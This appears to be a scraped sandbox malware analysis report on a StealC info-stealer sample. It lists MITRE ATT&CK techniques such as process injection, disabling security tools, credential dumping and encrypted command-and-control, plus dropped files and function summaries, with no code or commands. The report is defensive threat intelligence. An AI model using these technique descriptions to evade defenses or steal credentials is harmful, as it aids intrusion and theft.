Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKJKFBAFIDAEBFHJKJEBFCBFHD

C:\ProgramData\BGIJJKKJJDAAAAAKFHJJ

C:\ProgramData\CFCFCAAA

C:\ProgramData\DAAFIIJDAAAAKFHIDAAAKJJEGD

C:\ProgramData\EBKJDBAAKJDGCBFHCFCG

C:\ProgramData\ECGDAAFIIJDAAAAKFHIDAAAKJJ

C:\ProgramData\EGDGCGCF

C:\ProgramData\GDBFCGIIIJDBGCBGIDGI

C:\ProgramData\KKJEBAAECBGDHIECAKJKKECFHJ

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

Windows Analysis Report
file.exe

Function 00419270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00404610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 0040BCB0 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6CBC35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 004143F0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 004195E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00407750 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00410090 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00405150 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Function 004059B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre